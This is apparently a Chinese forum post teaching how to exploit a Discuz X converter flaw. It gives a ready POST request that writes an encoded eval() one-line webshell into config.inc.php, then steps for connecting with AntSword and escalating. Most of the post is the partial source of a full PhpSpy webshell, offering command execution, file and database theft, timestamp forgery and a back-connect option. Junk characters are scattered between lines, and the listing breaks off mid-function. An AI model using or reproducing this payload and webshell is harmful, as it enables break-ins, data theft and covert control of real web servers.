网络安全实战之discuz上传漏洞利用

fudyou

攻击思路：
想要拿下一台主机A的权限：
6 u8 j  q) ]* c5 ^! N1、了解一下这个服务器：端口，服务器版本，操作系统版本。找漏洞
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器，就利用对方网站应用程序的漏洞，上传webshell然后提权
5 G( t4 k! z3 u5 q3、传上去后，得到apache用户普通权限，再提权成root
3 w, \& m% ^1 A0 f5 N) x概述：
这突破在一个DZ X系列自带的转换工具里面。
' Q5 I1 R& b8 p" U7 H1 v  q漏洞路径：utility / convert / data / config.inc.php
6 W) X8 g" ^! N+ S4 V0 P5 E* g漏洞发生的原因是：config.inc.php这个文件在黑客通过post写入时，无仸何过滤检测，所以通过post方式往config。inc.php中写木马程序。
触发突破过程：
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
& W  U$ X- Y5 n4 a; I4 h5 W2、使用/utility/convert/index.php迚行版本转换3，config.inc.php文件没有做过滤，可以使用POST方法对config.inc.php注入木马程序
攻击过程：
1、打开burp设置报文拦截，然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
7 J+ h+ u& D/ I& W
  M0 h( E8 X" W: _1 C
2，右键单击空白处，选择发送到中继器，将报文发到中继器

3、然后在中继器中查看信息：

4、修改第一行：GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval（）凼数中的eval是评估的简称，这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径：http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细：

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展：^ M符号^ M字符的来历和作用：在DOS/Windows里，文本文件的换行符为\r \n，而在linux系统里则为\n，所以DOS/Windows里编辑过的文本文件到了linux里，每一行都多了个^ M。所以^ M只是一个换行符号，没有实际的用处，我们可以将它保留，也可以将它删除，％0a％0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
& u$ X2 W) [5 Q& J2 A. G
8、通过中国蚁剑上传大码
3 E( [" j4 H$ |( I5 q0 }- r+ F

10、任意机器访问我们的webshell2.php木马文件，浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码：cmd

webshell代码如下：

1. <?php
   5 M, `7 e6 A9 O
2. 
   
3. /*****************************************************************************
   : A2 d7 i5 g- A4 Y8 ?+ s
4. 
   
5. ===================== 请误用于非法用途，造成一切后果与本人无关。====================
   
6. 
   
7. ====
   ( u2 B, W6 U3 U: i2 D% V, m, z
8. 
   
9. 
   
10. *****************************************************************************/
    % h" Y* O! Y$ \. q3 q
11. 
    , Z: a( V' c; {3 F7 f. E. M
12. error_reporting(7);
    ) u# |* n: `; \, F  m3 C" m
13. @set_magic_quotes_runtime(0);
    4 s% c. B9 A  a5 j
14. ob_start();
    - r% W% ?/ k) `7 ^
15. $mtime = explode(' ', microtime());
    
16. $starttime = $mtime[1] + $mtime[0];
    
17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    
18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    / W0 ~4 O" F! `# E
19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    3 e- C( j: o7 c+ ~/ L$ a8 r
20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    
21. define('IS_GPC', get_magic_quotes_gpc());
    , V  j  \/ @) e
22. $dis_func = get_cfg_var('disable_functions');
    
23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    
24. @set_time_limit(0);
    : c& [$ u/ p- ^- }: c2 H; w4 P" U
25. 
    
26. foreach(array('_GET','_POST') as $_request) {
    
27.         foreach($$_request as $_key => $_value) {
    0 \% _7 G  t3 O' z8 h5 ]
28.                 if ($_key{0} != '_') {
    
29.                         if (IS_GPC) {
    
30.                                 $_value = s_array($_value);
    
31.                         }
    
32.                         $$_key = $_value;
    ) Z2 \; \. |7 B
33.                 }
    
34.         }
    / h; C' Z" {, W, d1 {0 L/ m
35. }
    ; `# {2 f" y, ~- o2 D, b
36. 
    
37. /*===================== 程序配置 =====================*/
      N. ?5 X+ Q0 V/ H% |8 Q
38. $admin = array();
    ( D0 v1 J; L  ?1 j
39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    
40. $admin['check'] = true;
    
41. // 如果需要密码验证,请修改登陆密码
    
42. $admin['pass']  = 'xuegod';
    
43. 
    
44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    
45. // cookie 前缀
    
46. $admin['cookiepre'] = '';
    ) j; i5 R3 f' h$ A" ]  E7 Y8 s
47. // cookie 作用域
    
48. $admin['cookiedomain'] = '';
    
49. // cookie 作用路径
    
50. $admin['cookiepath'] = '/';
    
51. // cookie 有效期
    / ?" ~+ A7 H4 i  H* \
52. $admin['cookielife'] = 86400;
    & C+ i/ e! d8 q3 t8 t% e
53. /*===================== 配置结束 =====================*/
    3 ~1 B* b6 @9 a2 o
54. 
    0 J7 }1 a5 A% L9 g6 `! w' G7 _
55. if ($charset == 'utf8') {
    % `( u. j% I/ ^+ w5 v4 @: y# \
56.         header("content-Type: text/html; charset=utf-8");
    
57. } elseif ($charset == 'big5') {
    
58.         header("content-Type: text/html; charset=big5");
    . s! y# f! m& X6 r: t  n% u  f
59. } elseif ($charset == 'gbk') {
    
60.         header("content-Type: text/html; charset=gbk");
    3 U& p  \% f9 N8 q; Q
61. } elseif ($charset == 'latin1') {
    4 v7 G  T& f$ v2 m' b
62.         header("content-Type: text/html; charset=iso-8859-2");
    
63. }
    
64. 
    8 A5 A$ g5 F  }6 A5 K9 @, R
65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    $ l8 \/ B# |% y; y1 B
66. $timestamp = time();
    % x" _- S& d( ?( t
67. 
    & }% g% P+ d; e7 k
68. /*===================== 身份验证 =====================*/
    
69. if ($action == "logout") {
    2 }  L" ^# V. v
70.         scookie('phpspypass', '', -86400 * 365);
    
71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    ! n: j( n) m7 E9 c) @0 p% J
72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    # l2 e# ?0 p+ _9 `# Z& H+ {) _
73.         exit;
    7 S3 O' e0 j7 `1 |
74. }
      s) Z( V1 K, A4 v1 C' B& r! k
75. if($admin['check']) {
    
76.         if ($doing == 'login') {
    
77.                 if ($admin['pass'] == $password) {
    1 \( ^- o; I+ ]( O
78.                         scookie('phpspypass', $password);
    - W( v, q' g# r$ c- i
79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    2 d7 \* g* F3 I: l1 m- I2 O  _/ J
80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    
81.                         exit;
    , L: a& M8 Z6 b+ ^  Q8 L9 R
82.                 }
    ! M9 g9 J0 U& u% r
83.         }
    * `6 v- q0 ]& _; `
84.         if ($_COOKIE['phpspypass']) {
    % Q9 R3 }! [& j+ j/ X  ]
85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    
86.                         loginpage();
    
87.                 }
    
88.         } else {
    
89.                 loginpage();
    ! n9 s* e$ P% N, s3 P
90.         }
    + ]% I* b- D$ C/ x  |7 K
91. }
    
92. /*===================== 验证结束 =====================*/
    2 ^% W& w6 i6 y, l
93. 
    * @1 _" x- a. W$ Z5 V
94. $errmsg = '';
    
95. 
    
96. // 查看PHPINFO
    
97. if ($action == 'phpinfo') {
    0 a- q, {, O  F
98.         if (IS_PHPINFO) {
    
99.                 phpinfo();
    7 k( I' b; U$ I/ {  c
100.         } else {
     " H2 R7 c, v8 E5 r
101.                 $errmsg = 'phpinfo() function has non-permissible';
     ' ^( |4 [# m( U. A7 q* }4 U2 Y8 v
102.         }
     
103. }
       `6 s( X0 W1 f
104. 
     
105. // 下载文件
     6 q% H/ D4 j' B0 g
106. if ($doing == 'downfile' && $thefile) {
     + V5 O8 D2 y* h, V4 w  V* y6 |
107.         if (!@file_exists($thefile)) {
     
108.                 $errmsg = 'The file you want Downloadable was nonexistent';
     
109.         } else {
     9 z& E0 j9 m: @+ }
110.                 $fileinfo = pathinfo($thefile);
     8 z# e8 A7 z4 x) i# E. i8 T
111.                 header('Content-type: application/x-'.$fileinfo['extension']);
     3 Z, F# u) ?. Y: I
112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     
113.                 header('Content-Length: '.filesize($thefile));
     
114.                 @readfile($thefile);
     
115.                 exit;
     % l' _2 g9 {3 z  U  y
116.         }
     ' c, W3 o6 g8 ]
117. }
     9 d" |# w0 P% i. U
118. 
     3 T5 ?+ k: d' H/ ?/ o, J% c  k
119. // 直接下载备份数据库
     8 N3 |. L' e6 b' f! Z3 D
120. if ($doing == 'backupmysql' && !$saveasfile) {
     
121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     8 B) s/ _6 |6 E; ^" V$ ?
122.         $table = array_flip($table);
     
123.         $result = q("SHOW tables");
     ; ~0 r2 S# d: a4 F' E! i6 y
124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
     8 |( x+ m: O( S2 H! R
125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
     
126.         header('Content-type: application/unknown');
     * E3 w; q0 z! Z/ E. w
127.         header('Content-Disposition: attachment; filename='.$filename);
     6 p7 z' \# x$ ^% p3 X0 o7 k+ X
128.         $mysqldata = '';
     9 R3 |. l& [( ]! Y
129.         while ($currow = mysql_fetch_array($result)) {
     + }) z5 {5 H. E
130.                 if (isset($table[$currow[0]])) {
     
131.                         $mysqldata .= sqldumptable($currow[0]);
     * c& J2 u$ u+ R  |. A) z7 I/ f
132.                 }
     
133.         }
     # B+ l6 ?+ M; E- O: [" ]
134.         mysql_close();
     7 i1 y! x5 O1 l5 P
135.         exit;
     2 d: k; ^6 {$ j4 _, r( W
136. }
     : M; ~. D. p7 z) Y, E4 h0 m
137. 
     $ F2 {* ^4 p" }* o5 c+ i
138. // 通过MYSQL下载文件
     
139. if($doing=='mysqldown'){
     
140.         if (!$dbname) {
     
141.                 $errmsg = 'Please input dbname';
     " O& Q7 p$ h0 D8 D' C& f
142.         } else {
     
143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     " [' Q$ }! o) p& x
144.                 if (!file_exists($mysqldlfile)) {
     
145.                         $errmsg = 'The file you want Downloadable was nonexistent';
     8 `& E) p/ C6 z, n! J$ l/ o
146.                 } else {
     
147.                         $result = q("select load_file('$mysqldlfile');");
     
148.                         if(!$result){
     " t2 v; l! g  g
149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
       N0 y+ t3 E7 W" ]" M  ^5 F, Y" Z
150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
     
151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
     
152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
     # j1 N9 G1 D- L( V5 o
153.                                 $result = q("select content from tmp_angel");
     4 T6 |8 p  ]2 J
154.                                 q("DROP TABLE tmp_angel");
     
155.                         }
     
156.                         $row = @mysql_fetch_array($result);
     $ s/ F4 d3 Y' [) A8 G4 t3 f2 ?
157.                         if (!$row) {
     & |) Y+ c8 _% w: U7 G
158.                                 $errmsg = 'Load file failed '.mysql_error();
     
159.                         } else {
     8 M4 a8 i8 Y/ ]4 u) i
160.                                 $fileinfo = pathinfo($mysqldlfile);
     * N7 B5 J9 g& v- t: ~- g
161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
     7 K7 a& Q; e- D6 }; D4 X
162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     % ]* f: A. v% Q+ b
163.                                 header("Accept-Length: ".strlen($row[0]));
     
164.                                 echo $row[0];
     $ _! Y# n% A4 e. |5 H0 L3 H
165.                                 exit;
     # u+ Q- M4 F, `8 |1 Z/ Y: `
166.                         }
     ! W8 k6 A' g; ?
167.                 }
     
168.         }
     / o% U$ O7 \+ v* h9 D
169. }
     
170. 
     
171. ?>
     & q& X' W  I, N3 P& e2 u
172. <html>
     
173. <head>
     
174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
     0 {' n9 ~# S  M5 c* K
175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
     . Q% e9 N/ c$ `
176. <style type="text/css">
     
177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
     $ @1 J( r7 w  A+ m
178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
     
179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
     
180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
     
181. a {color: #00f;text-decoration:underline;}
     
182. a:hover{color: #f00;text-decoration:none;}
     
183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
     
184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
     
185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
     
186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
     ) p2 N7 B) B+ S5 h1 h
187. .head td span{font-weight:normal;}
     
188. form{margin:0;padding:0;}
     
189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
     ; @, a5 f0 F; Q& C; f5 {4 D
190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
     
191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
     
192. </style>
     
193. <script type="text/javascript">
     - t5 K# E6 f% j6 k
194. function CheckAll(form) {
     6 U3 u- e' g/ z
195.         for(var i=0;i<form.elements.length;i++) {
     
196.                 var e = form.elements[i];
     4 L2 e+ U0 G) w3 Z4 o
197.                 if (e.name != 'chkall')
     
198.                 e.checked = form.chkall.checked;
     % |) P  \) t: l8 T
199.     }
     
200. }
     1 L. z; a" E6 m% R0 U" }- u9 B, r) k
201. function $(id) {
     2 D: @" h7 l/ C
202.         return document.getElementById(id);
     
203. }
     
204. function goaction(act){
     ! I& `: q! z  K: l1 _, X
205.         $('goaction').action.value=act;
     
206.         $('goaction').submit();
     
207. }
     
208. </script>
     % [- d0 S; B' N& N" c
209. </head>
     ( |) u4 S; o+ N* ~
210. <body style="margin:0;table-layout:fixed; word-break:break-all">
     
211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
     . p# Y) L# `& l" W8 ^( ^! t
212.         <tr class="head">
     
213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
     
214.         </tr>
     
215.         <tr class="alt1">
     
216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
     
217.                         <a href="javascript:goaction('logout');">Logout</a> |
     2 c2 R  @0 l1 e5 g4 w& O0 |
218.                         <a href="javascript:goaction('file');">File Manager</a> |
     
219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
     - s' O4 H8 [: L7 a( Y- |, h
220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
     1 \1 C/ R  T; a, [2 U) r1 d3 d
221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
     
222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
     
223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
     
224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
     ' U# ?2 I% ]" o5 o' Z/ c
225.                 </td>
     
226.         </tr>
     3 l$ o2 E- o0 w) n/ H# ]
227. </table>
     
228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
     
229. <?php
     8 w) w1 S5 y# K' ^' G0 |; j
230. 
     
231. formhead(array('name'=>'goaction'));
     
232. makehide('action');
     
233. formfoot();
     * m4 S) {6 V$ }
234. 
     9 M# W. X: ?4 w* L9 P6 A$ Z
235. $errmsg && m($errmsg);
     1 p& k( n2 Y& z% T7 @) S
236. 
     
237. // 获取当前路径
     
238. !$dir && $dir = '.';
     
239. $nowpath = getPath(SA_ROOT, $dir);
     / ]6 P) A0 [0 n( l5 k
240. if (substr($dir, -1) != '/') {
     
241.         $dir = $dir.'/';
     
242. }
     
243. $uedir = ue($dir);
     6 u- w( a/ P; c
244. 
     
245. if (!$action || $action == 'file') {
     " j% ?" ^6 i' o3 i
246. 
     9 ?; K  P. g4 S' j
247.         // 判断读写情况
     2 i. A1 R/ }, n, W2 ^; s* n( J
248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
     
249. 
     
250.         // 删除目录
     ! l6 ?. G3 j8 [
251.         if ($doing == 'deldir' && $thefile) {
     
252.                 if (!file_exists($thefile)) {
     , i9 U" |) T; `, K; ?$ g
253.                         m($thefile.' directory does not exist');
     
254.                 } else {
     $ }, x5 f  G* G! G
255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
     + l- b7 d* R( P+ }3 }) H" L* O9 s
256.                 }
     ( z1 F4 V- M! ?3 b; M. v3 A! n
257.         }
     
258. 
     ' O; O+ D) }( b2 L/ X
259.         // 创建目录
     
260.         elseif ($newdirname) {
     2 Q) c- a% b0 \) b; m/ O! F3 {
261.                 $mkdirs = $nowpath.$newdirname;
     1 \, f) `3 ^# e& N
262.                 if (file_exists($mkdirs)) {
     
263.                         m('Directory has already existed');
     
264.                 } else {
     
265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
     + ~. i! S3 m3 l7 P
266.                         @chmod($mkdirs,0777);
     & b8 w2 q4 v* O, `3 Z: d
267.                 }
     ' S% m- z" w) F% {, i! p0 c
268.         }
     
269. 
     ) s4 ^& y* h" j9 U& b9 [  ^
270.         // 上传文件
     ; M* E! Y4 g5 ?$ N! Q
271.         elseif ($doupfile) {
     
272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
     
273.         }
     ( y- Y! l9 W6 N- c1 U+ T1 E% H
274. 
     + L: e6 v1 k4 Q* h% L: j4 Z+ Q0 T
275.         // 编辑文件
     
276.         elseif ($editfilename && $filecontent) {
     " w+ E; |; w' s2 G5 b! V
277.                 $fp = @fopen($editfilename,'w');
     1 A* q/ M9 x4 g% t, S* n
278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
     
279.                 @fclose($fp);
     5 o& p; s9 D! l! [/ y
280.         }
     / f: ~( k  `, k9 A& l
281. 
     9 I5 K- h3 F. _
282.         // 编辑文件属性
     : Q" E* H5 v7 O, N" B# o( R
283.         elseif ($pfile && $newperm) {
     
284.                 if (!file_exists($pfile)) {
     : U7 V( b  b$ D0 r5 y8 |3 X
285.                         m('The original file does not exist');
     
286.                 } else {
     
287.                         $newperm = base_convert($newperm,8,10);
     
288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
     4 S, X" z, c( U5 g) Z8 d8 g
289.                 }
     
290.         }
     
291. 
     8 \- J7 Y! r3 \+ f0 R+ o2 R
292.         // 改名
     6 n9 `0 M, J3 w9 U! X2 D4 E* E
293.         elseif ($oldname && $newfilename) {
     * F- y9 ?: F! W1 W3 A% |7 ~
294.                 $nname = $nowpath.$newfilename;
     
295.                 if (file_exists($nname) || !file_exists($oldname)) {
     
296.                         m($nname.' has already existed or original file does not exist');
     
297.                 } else {
     ( V) m* q8 ~! }+ ^
298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
     
299.                 }
     
300.         }
     
301. 
     
302.         // 复制文件
     0 {* ^/ {7 ~5 w+ k+ {
303.         elseif ($sname && $tofile) {
     $ L4 d+ M/ S% k' H# ^' C  T: D
304.                 if (file_exists($tofile) || !file_exists($sname)) {
     
305.                         m('The goal file has already existed or original file does not exist');
     
306.                 } else {
     ' B) Z- x/ p4 _
307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
     2 b' f! e5 ]2 }
308.                 }
     : Y  E9 w* y7 }4 Z/ K1 }, e& V: E
309.         }
     4 v! N" y& g) {) U
310. 
     
311.         // 克隆时间
     
312.         elseif ($curfile && $tarfile) {
     
313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
     
314.                         m('The goal file has already existed or original file does not exist');
     ) }/ E' H( i0 |  \+ a
315.                 } else {
       B% b; A4 d" B" x. t3 y
316.                         $time = @filemtime($tarfile);
     8 i& [# |) |0 [, J
317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     
318.                 }
     $ Q% ]! |7 e9 m# h0 x: I
319.         }
     2 a4 d: W% Y% P
320. 
     
321.         // 自定义时间
     9 ]$ `, N6 a6 Z  ]5 M/ }
322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
     
323.                 if (!@file_exists($curfile)) {
     % s& I- w6 g# k  G% ?
324.                         m(basename($curfile).' does not exist');
     7 a: W2 |5 l7 J+ L2 ?* T/ z
325.                 } else {
     
326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
     
327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     6 y+ N8 Z% f, L2 E% `# e8 E) i
328.                 }
     $ I5 V7 R6 D' k, f+ m# ?
329.         }
     
330. 
     
331.         // 打包下载
     2 V) x* l& t6 Y' t. n. ]: V* }+ d
332.         elseif($doing == 'downrar') {
     
333.                 if ($dl) {
     1 M# \4 n' Y7 b
334.                         $dfiles='';
       ~& ]+ S' S1 c. }( j+ r
335.                         foreach ($dl as $filepath => $value) {
     
336.                                 $dfiles.=$filepath.',';
     
337.                         }
     2 c6 M2 o# |- L$ L/ Q9 o- V
338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
     
339.                         $dl=explode(',',$dfiles);
     " R5 u: U4 l* `9 @7 p+ @
340.                         $zip=new PHPZip($dl);
     * z6 \6 @/ @: ?3 \. L2 z- x
341.                         $code=$zip->out;
     4 O0 z) R2 @% Q7 b- _
342.                         header('Content-type: application/octet-stream');
     8 N" [5 p% k/ w5 s( @3 Q- x
343.                         header('Accept-Ranges: bytes');
     9 H# {. I" Z- m8 ]6 D( U
344.                         header('Accept-Length: '.strlen($code));
     * s2 Y4 ]0 \" ?; d* l2 A
345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
     ' R4 r, `3 V- Q6 p' o7 d
346.                         echo $code;
     / y2 o9 t7 ?1 ?/ y: }5 b' q% K% ~
347.                         exit;
     8 M7 ?: j  ~, X4 ~2 F2 O; Z* r# U
348.                 } else {
     1 @1 ?8 s# ?3 Z" x6 G8 a8 P4 y: f
349.                         m('Please select file(s)');
     
350.                 }
     ( E* @6 d: ~0 t0 ~7 E6 x
351.         }
     0 y9 R. [7 I( s# `6 E
352. 
     " G% G3 U" l" o( E7 D- k
353.         // 批量删除文件
     
354.         elseif($doing == 'delfiles') {
     
355.                 if ($dl) {
     & ]3 O1 K7 Y& [
356.                         $dfiles='';
     
357.                         $succ = $fail = 0;
     
358.                         foreach ($dl as $filepath => $value) {
     , Q2 n1 {. ?* k& A3 M8 p; g
359.                                 if (@unlink($filepath)) {
     6 A- c/ O5 @/ A
360.                                         $succ++;
     
361.                                 } else {
     
362.                                         $fail++;
     
363.                                 }
     % G2 B' z# j. W( i
364.                         }
     
365.                         m('Deleted file have finished，choose '.count($dl).' success '.$succ.' fail '.$fail);
     ' e$ u6 z! C$ r* h+ S* C; p
366.                 } else {
     
367.                         m('Please select file(s)');
     2 z: m: e. c, b9 N
368.                 }
     . i' t5 ]! W+ U5 Q. o: ?
369.         }
     9 S* b- U: U" E9 L
370. 
     / D9 e- \6 z- t+ h$ [6 Q
371.         //操作完毕
     / R9 R! G7 ^9 H5 {5 u. [
372.         formhead(array('name'=>'createdir'));
     . h4 Q; |* m. [" ~% k
373.         makehide('newdirname');
     2 |5 K# r: D* }/ Z5 s( j; ?
374.         makehide('dir',$nowpath);
     * s/ i; E% x- H1 D" W
375.         formfoot();
     , U+ F2 ?+ l1 o3 t& i# U
376.         formhead(array('name'=>'fileperm'));
     
377.         makehide('newperm');
     
378.         makehide('pfile');
     
379.         makehide('dir',$nowpath);
     9 n( Q3 ?: D9 s) V, q5 G6 C  U) E
380.         formfoot();
     ; D! n, O% |  ?& Z& c) K& M
381.         formhead(array('name'=>'copyfile'));
     
382.         makehide('sname');
     
383.         makehide('tofile');
     6 K& {! ~' [3 Q. L2 c: V! @, Y
384.         makehide('dir',$nowpath);
     
385.         formfoot();
     
386.         formhead(array('name'=>'rename'));
     
387.         makehide('oldname');
     ! G' ~  r$ Z8 p" W+ i
388.         makehide('newfilename');
     ) J9 t/ _& a( a7 _7 O2 x
389.         makehide('dir',$nowpath);
     
390.         formfoot();
     : a3 B8 O  g/ k3 ], y
391.         formhead(array('name'=>'fileopform'));
     $ u6 ?4 a( A2 D1 Z& f1 n: p' Q
392.         makehide('action');
     
393.         makehide('opfile');
     ' _" @/ v3 i7 Z9 p& t5 I
394.         makehide('dir');
     : ^- ]8 r# c! R5 y- I: N2 C3 M
395.         formfoot();
     / p+ s% W0 f: R" S
396. 
     
397.         $free = @disk_free_space($nowpath);
     " Y: ]1 u( d& Y7 D$ n4 _' s
398.         !$free && $free = 0;
     
399.         $all = @disk_total_space($nowpath);
     7 Y, x7 R' L4 o0 u1 x4 c# h
400.         !$all && $all = 0;
     
401.         $used = $all-$free;
     ' m5 [  l. s/ `1 U% _0 j6 |
402.         $used_percent = @round(100/($all/$free),2);
     
403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
     
404. 
     % q- p. m; @: N" D: o
405. ?>
     * W" f. O5 Q" v; s" b9 B
406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
     
407.   <form action="" method="post" id="godir" name="godir">
     
408.   <tr>
     
409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
     , {* {$ O0 ~* O2 _1 I
410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
     0 g" I! B$ ?8 E, ^
411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
     % {9 M; U. M3 g" F: ^8 |
412.   </tr>
     & I: I# a7 x) I6 c9 v
413.   </form>
     
414. </table>
     ) Z& \1 O& s: o' ~1 b" s1 V
415. <script type="text/javascript">
     # Y1 l# v: a/ @$ t+ s; v- H
416. function createdir(){
     # X# ]/ X( q2 L8 ]- S
417.         var newdirname;
     & A/ b8 f; w2 k6 W+ s) f' G
418.         newdirname = prompt('Please input the directory name:', '');
     
419.         if (!newdirname) return;
     
420.         $('createdir').newdirname.value=newdirname;
     ' E' J& @+ q# Q% |: `: V: P( ~
421.         $('createdir').submit();
     # Z& Z" {3 B5 i. z, U/ R. Z4 A
422. }
     
423. function fileperm(pfile){
     $ c) @2 P& g; c+ H, F- n
424.         var newperm;
     , l3 ]4 T) V/ \, b5 s/ l% I9 `
425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
     3 l8 u2 C" t: l; y! Y9 c& r
426.         if (!newperm) return;
     ' c, d3 r3 {$ p% i
427.         $('fileperm').newperm.value=newperm;
     
428.         $('fileperm').pfile.value=pfile;
     
429.         $('fileperm').submit();
     
430. }
     
431. function copyfile(sname){
     
432.         var tofile;
     7 F3 A/ c* V% v( t, N
433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
     0 M% ~* \' j+ {( P5 A4 Z/ u' b
434.         if (!tofile) return;
     
435.         $('copyfile').tofile.value=tofile;
     
436.         $('copyfile').sname.value=sname;
     
437.         $('copyfile').submit();
     4 y" d% V( F8 \) K: S0 ~! i
438. }
     
439. function rename(oldname){
     . \$ ^& b9 O$ O1 s3 U
440.         var newfilename;
     
441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
     & t. W' q3 p/ r% S/ ?* S  y+ f- ?
442.         if (!newfilename) return;
     
443.         $('rename').newfilename.value=newfilename;
       X2 e+ ^7 _+ P8 v/ i4 W
444.         $('rename').oldname.value=oldname;
     : Y$ P) T3 M: t8 r7 x$ t6 Z
445.         $('rename').submit();
     ) A  i" P% |$ d+ |! f, w6 p
446. }
     
447. function dofile(doing,thefile,m){
